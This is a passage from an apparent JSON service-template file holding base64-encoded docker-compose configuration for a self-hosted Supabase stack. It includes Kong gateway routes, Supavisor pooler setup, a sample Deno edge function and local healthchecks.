ZShKU09OLnN0cmluZ2lmeShlcnJvciksIHtcbiAgICAgIHN0YXR1czogNTAwLFxuICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgfSlcbiAgfVxufSkiCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZnVuY3Rpb25zL2hlbGxvL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9oZWxsby9pbmRleC50cwogICAgICAgIGNvbnRlbnQ6ICIvLyBGb2xsb3cgdGhpcyBzZXR1cCBndWlkZSB0byBpbnRlZ3JhdGUgdGhlIERlbm8gbGFuZ3VhZ2Ugc2VydmVyIHdpdGggeW91ciBlZGl0b3I6XG4vLyBodHRwczovL2Rlbm8ubGFuZC9tYW51YWwvZ2V0dGluZ19zdGFydGVkL3NldHVwX3lvdXJfZW52aXJvbm1lbnRcbi8vIFRoaXMgZW5hYmxlcyBhdXRvY29tcGxldGUsIGdvIHRvIGRlZmluaXRpb24sIGV0Yy5cblxuaW1wb3J0IHsgc2VydmUgfSBmcm9tIFwiaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTc3LjEvaHR0cC9zZXJ2ZXIudHNcIlxuXG5zZXJ2ZShhc3luYyAoKSA9PiB7XG4gIHJldHVybiBuZXcgUmVzcG9uc2UoXG4gICAgYFwiSGVsbG8gZnJvbSBFZGdlIEZ1bmN0aW9ucyFcImAsXG4gICAgeyBoZWFkZXJzOiB7IFwiQ29udGVudC1UeXBlXCI6IFwiYXBwbGljYXRpb24vanNvblwiIH0gfSxcbiAgKVxufSlcblxuLy8gVG8gaW52b2tlOlxuLy8gY3VybCAnaHR0cDovL2xvY2FsaG9zdDo8S09OR19IVFRQX1BPUlQ+L2Z1bmN0aW9ucy92MS9oZWxsbycgXFxcbi8vICAgLS1oZWFkZXIgJ0F1dGhvcml6YXRpb246IEJlYXJlciA8YW5vbi9zZXJ2aWNlX3JvbGUgQVBJIGtleT4nXG4iCiAgICBjb21tYW5kOgogICAgICAtIHN0YXJ0CiAgICAgIC0gJy0tbWFpbi1zZXJ2aWNlJwogICAgICAtIC9ob21lL2Rlbm8vZnVuY3Rpb25zL21haW4KICBzdXBhYmFzZS1zdXBhdmlzb3I6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3N1cGF2aXNvcjoyLjUuMScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLXNTZkwnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvYXBpL2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPT0xFUl9URU5BTlRfSUQ9ZGV2X3RlbmFudAogICAgICAtIFBPT0xFUl9QT09MX01PREU9dHJhbnNhY3Rpb24KICAgICAgLSAnUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFPSR7UE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFOi0yMH0nCiAgICAgIC0gJ1BPT0xFUl9NQVhfQ0xJRU5UX0NPTk49JHtQT09MRVJfTUFYX0NMSUVOVF9DT05OOi0xMDB9JwogICAgICAtIFBPUlQ9NDAwMAogICAgICAtICdQT1NUR1JFU19QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX0hPU1ROQU1FPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQVRBQkFTRV9VUkw9ZWN0bzovL3N1cGFiYXNlX2FkbWluOiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9OiR7UE9TVEdSRVNfUE9SVDotNTQzMn0vX3N1cGFiYXNlJwogICAgICAtIENMVVNURVJfUE9TVEdSRVM9dHJ1ZQogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX1BBU1NXT1JEX1NVUEFWSVNPUlNFQ1JFVH0nCiAgICAgIC0gJ1ZBVUxUX0VOQ19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1ZBVUxURU5DfScKICAgICAgLSAnQVBJX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ01FVFJJQ1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBSRUdJT049bG9jYWwKICAgICAgLSAnRVJMX0FGTEFHUz0tcHJvdG9fZGlzdCBpbmV0X3RjcCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2Jpbi9zaAogICAgICAtICctYycKICAgICAgLSAnL2FwcC9iaW4vbWlncmF0ZSAmJiAvYXBwL2Jpbi9zdXBhdmlzb3IgZXZhbCAiJCQoY2F0IC9ldGMvcG9vbGVyL3Bvb2xlci5leHMpIiAmJiAvYXBwL2Jpbi9zZXJ2ZXInCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgdGFyZ2V0OiAvZXRjL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgY29udGVudDogIns6b2ssIF99ID0gQXBwbGljYXRpb24uZW5zdXJlX2FsbF9zdGFydGVkKDpzdXBhdmlzb3IpXG57Om9rLCB2ZXJzaW9ufSA9XG4gICAgY2FzZSBTdXBhdmlzb3IuUmVwby5xdWVyeSEoXCJzZWxlY3QgdmVyc2lvbigpXCIpIGRvXG4gICAgJXtyb3dzOiBbW3Zlcl1dfSAtPiBTdXBhdmlzb3IuSGVscGVycy5wYXJzZV9wZ192ZXJzaW9uKHZlcilcbiAgICBfIC0+IG5pbFxuICAgIGVuZFxucGFyYW1zID0gJXtcbiAgICBcImV4dGVybmFsX2lkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfVEVOQU5UX0lEXCIpLFxuICAgIFwiZGJfaG9zdFwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfSE9TVE5BTUVcIiksXG4gICAgXCJkYl9wb3J0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QT1JUXCIpIHw+IFN0cmluZy50b19pbnRlZ2VyKCksXG4gICAgXCJkYl9kYXRhYmFzZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfREJcIiksXG4gICAgXCJyZXF1aXJlX3VzZXJcIiA9PiBmYWxzZSxcbiAgICBcImF1dGhfcXVlcnlcIiA9PiBcIlNFTEVDVCAqIEZST00gcGdib3VuY2VyLmdldF9hdXRoKCQxKVwiLFxuICAgIFwiZGVmYXVsdF9tYXhfY2xpZW50c1wiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX01BWF9DTElFTlRfQ09OTlwiKSxcbiAgICBcImRlZmF1bHRfcG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJkZWZhdWx0X3BhcmFtZXRlcl9zdGF0dXNcIiA9PiAle1wic2VydmVyX3ZlcnNpb25cIiA9PiB2ZXJzaW9ufSxcbiAgICBcInVzZXJzXCIgPT4gWyV7XG4gICAgXCJkYl91c2VyXCIgPT4gXCJwZ2JvdW5jZXJcIixcbiAgICBcImRiX3Bhc3N3b3JkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QQVNTV09SRFwiKSxcbiAgICBcIm1vZGVfdHlwZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX1BPT0xfTU9ERVwiKSxcbiAgICBcInBvb2xfc2l6ZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFXCIpLFxuICAgIFwiaXNfbWFuYWdlclwiID0+IHRydWVcbiAgICB9XVxufVxuXG50ZW5hbnQgPSBTdXBhdmlzb3IuVGVuYW50cy5nZXRfdGVuYW50X2J5X2V4dGVybmFsX2lkKHBhcmFtc1tcImV4dGVybmFsX2lkXCJdKVxuXG5pZiB0ZW5hbnQgZG9cbiAgezpvaywgX30gPSBTdXBhdmlzb3IuVGVuYW50cy51cGRhdGVfdGVuYW50KHRlbmFudCwgcGFyYW1zKVxuZWxzZVxuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLmNyZWF0ZV90ZW5hbnQocGFyYW1zKVxuZW5kXG4iCg==", + "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR184MDAwCiAgICAgIC0gJ0tPTkdfUE9SVF9NQVBTPTQ0Mzo4MDAwJwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIEtPTkdfREFUQUJBU0U9b2ZmCiAgICAgIC0gS09OR19ERUNMQVJBVElWRV9DT05GSUc9L2hvbWUva29uZy9rb25nLnltbAogICAgICAtICdLT05HX0ROU19PUkRFUj1MQVNULEEsQ05BTUUnCiAgICAgIC0gJ0tPTkdfUExVR0lOUz1yZXF1ZXN0LXRyYW5zZm9ybWVyLGNvcnMsa2V5LWF1dGgsYWNsLGJhc2ljLWF1dGgnCiAgICAgIC0gS09OR19OR0lOWF9QUk9YWV9QUk9YWV9CVUZGRVJfU0laRT0xNjBrCiAgICAgIC0gJ0tPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSUz02NCAxNjBrJwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnREFTSEJPQVJEX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX0FETUlOfScKICAgICAgLSAnREFTSEJPQVJEX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2FwaS9rb25nLnltbAogICAgICAgIHRhcmdldDogL2hvbWUva29uZy90ZW1wLnltbAogICAgICAgIGNvbnRlbnQ6ICJfZm9ybWF0X3ZlcnNpb246ICcyLjEnXG5fdHJhbnNmb3JtOiB0cnVlXG5cbiMjI1xuIyMjIENvbnN1bWVycyAvIFVzZXJzXG4jIyNcbmNvbnN1bWVyczpcbiAgLSB1c2VybmFtZTogREFTSEJPQVJEXG4gIC0gdXNlcm5hbWU6IGFub25cbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9BTk9OX0tFWVxuICAtIHVzZXJuYW1lOiBzZXJ2aWNlX3JvbGVcbiAgICBrZXlhdXRoX2NyZWRlbnRpYWxzOlxuICAgICAgLSBrZXk6ICRTVVBBQkFTRV9TRVJWSUNFX0tFWVxuXG4jIyNcbiMjIyBBY2Nlc3MgQ29udHJvbCBMaXN0XG4jIyNcbmFjbHM6XG4gIC0gY29uc3VtZXI6IGFub25cbiAgICBncm91cDogYW5vblxuICAtIGNvbnN1bWVyOiBzZXJ2aWNlX3JvbGVcbiAgICBncm91cDogYWRtaW5cblxuIyMjXG4jIyMgRGFzaGJvYXJkIGNyZWRlbnRpYWxzXG4jIyNcbmJhc2ljYXV0aF9jcmVkZW50aWFsczpcbi0gY29uc3VtZXI6IERBU0hCT0FSRFxuICB1c2VybmFtZTogJERBU0hCT0FSRF9VU0VSTkFNRVxuICBwYXNzd29yZDogJERBU0hCT0FSRF9QQVNTV09SRFxuXG5cbiMjI1xuIyMjIEFQSSBSb3V0ZXNcbiMjI1xuc2VydmljZXM6XG5cbiAgIyMgT3BlbiBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS92ZXJpZnlcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGF1dGgtdjEtb3BlblxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvdmVyaWZ5XG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAtIG5hbWU6IGF1dGgtdjEtb3Blbi1jYWxsYmFja1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWF1dGg6OTk5OS9jYWxsYmFja1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWNhbGxiYWNrXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYXV0aC92MS9jYWxsYmFja1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW4tYXV0aG9yaXplXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L2F1dGhvcml6ZVxuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1vcGVuLWF1dGhvcml6ZVxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2F1dGgvdjEvYXV0aG9yaXplXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIFNlY3VyZSBBdXRoIHJvdXRlc1xuICAtIG5hbWU6IGF1dGgtdjFcbiAgICBfY29tbWVudDogJ0dvVHJ1ZTogL2F1dGgvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5LyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYXV0aDo5OTk5L1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYXV0aC12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9hdXRoL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUkVTVCByb3V0ZXNcbiAgLSBuYW1lOiByZXN0LXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9yZXN0L3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlc3QtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVzdC92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgR3JhcGhRTCByb3V0ZXNcbiAgLSBuYW1lOiBncmFwaHFsLXYxXG4gICAgX2NvbW1lbnQ6ICdQb3N0Z1JFU1Q6IC9ncmFwaHFsL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXJlc3Q6MzAwMC9ycGMvZ3JhcGhxbCdcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWxcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGdyYXBocWwtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZ3JhcGhxbC92MVxuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IHRydWVcbiAgICAgIC0gbmFtZTogcmVxdWVzdC10cmFuc2Zvcm1lclxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgYWRkOlxuICAgICAgICAgICAgaGVhZGVyczpcbiAgICAgICAgICAgICAgLSBDb250ZW50LVByb2ZpbGU6Z3JhcGhxbF9wdWJsaWNcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFNlY3VyZSBSZWFsdGltZSByb3V0ZXNcbiAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgIF9jb21tZW50OiAnUmVhbHRpbWU6IC9yZWFsdGltZS92MS8qIC0+IHdzOi8vcmVhbHRpbWU6NDAwMC9zb2NrZXQvKidcbiAgICB1cmw6IGh0dHA6Ly9yZWFsdGltZS1kZXY6NDAwMC9zb2NrZXRcbiAgICBwcm90b2NvbDogd3NcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXdzXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvYXBpXG4gICAgcHJvdG9jb2w6IGh0dHBcbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHJlYWx0aW1lLXYxLXJlc3RcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9yZWFsdGltZS92MS9hcGlcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiBmYWxzZVxuICAgICAgLSBuYW1lOiBhY2xcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfZ3JvdXBzX2hlYWRlcjogdHJ1ZVxuICAgICAgICAgIGFsbG93OlxuICAgICAgICAgICAgLSBhZG1pblxuICAgICAgICAgICAgLSBhbm9uXG5cbiAgIyMgU3RvcmFnZSByb3V0ZXM6IHRoZSBzdG9yYWdlIHNlcnZlciBtYW5hZ2VzIGl0cyBvd24gYXV0aFxuICAtIG5hbWU6IHN0b3JhZ2UtdjFcbiAgICBfY29tbWVudDogJ1N0b3JhZ2U6IC9zdG9yYWdlL3YxLyogLT4gaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0b3JhZ2U6NTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IHN0b3JhZ2UtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvc3RvcmFnZS92MS9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG5cbiAgIyMgRWRnZSBGdW5jdGlvbnMgcm91dGVzXG4gIC0gbmFtZTogZnVuY3Rpb25zLXYxXG4gICAgX2NvbW1lbnQ6ICdFZGdlIEZ1bmN0aW9uczogL2Z1bmN0aW9ucy92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczo5MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IGZ1bmN0aW9ucy12MS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9mdW5jdGlvbnMvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEFuYWx5dGljcyByb3V0ZXNcbiAgLSBuYW1lOiBhbmFseXRpY3MtdjFcbiAgICBfY29tbWVudDogJ0FuYWx5dGljczogL2FuYWx5dGljcy92MS8qIC0+IGh0dHA6Ly9sb2dmbGFyZTo0MDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhbmFseXRpY3MtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvYW5hbHl0aWNzL3YxL1xuXG4gICMjIFNlY3VyZSBEYXRhYmFzZSByb3V0ZXNcbiAgLSBuYW1lOiBtZXRhXG4gICAgX2NvbW1lbnQ6ICdwZy1tZXRhOiAvcGcvKiAtPiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogbWV0YS1hbGxcbiAgICAgICAgc3RyaXBfcGF0aDogdHJ1ZVxuICAgICAgICBwYXRoczpcbiAgICAgICAgICAtIC9wZy9cbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cblxuICAjIyBQcm90ZWN0ZWQgRGFzaGJvYXJkIC0gY2F0Y2ggYWxsIHJlbWFpbmluZyByb3V0ZXNcbiAgLSBuYW1lOiBkYXNoYm9hcmRcbiAgICBfY29tbWVudDogJ1N0dWRpbzogLyogLT4gaHR0cDovL3N0dWRpbzozMDAwLyonXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2Utc3R1ZGlvOjMwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBkYXNoYm9hcmQtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBiYXNpYy1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4iCiAgc3VwYWJhc2Utc3R1ZGlvOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdHVkaW86MjAyNS4xMi4xNy1zaGEtNDNmNGY3ZicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAiZmV0Y2goJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcGxhdGZvcm0vcHJvZmlsZScpLnRoZW4oKHIpID0+IHtpZiAoci5zdGF0dXMgIT09IDIwMCkgdGhyb3cgbmV3IEVycm9yKHIuc3RhdHVzKX0pIgogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBIT1NUTkFNRT0wLjAuMC4wCiAgICAgIC0gJ1NUVURJT19QR19NRVRBX1VSTD1odHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwJwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdERUZBVUxUX09SR0FOSVpBVElPTl9OQU1FPSR7U1RVRElPX0RFRkFVTFRfT1JHQU5JWkFUSU9OOi1EZWZhdWx0IE9yZ2FuaXphdGlvbn0nCiAgICAgIC0gJ0RFRkFVTFRfUFJPSkVDVF9OQU1FPSR7U1RVRElPX0RFRkFVTFRfUFJPSkVDVDotRGVmYXVsdCBQcm9qZWN0fScKICAgICAgLSAnU1VQQUJBU0VfVVJMPWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19VUkw9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnQVVUSF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICAgIC0gJ0xPR0ZMQVJFX1VSTD1odHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19BUEk9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdX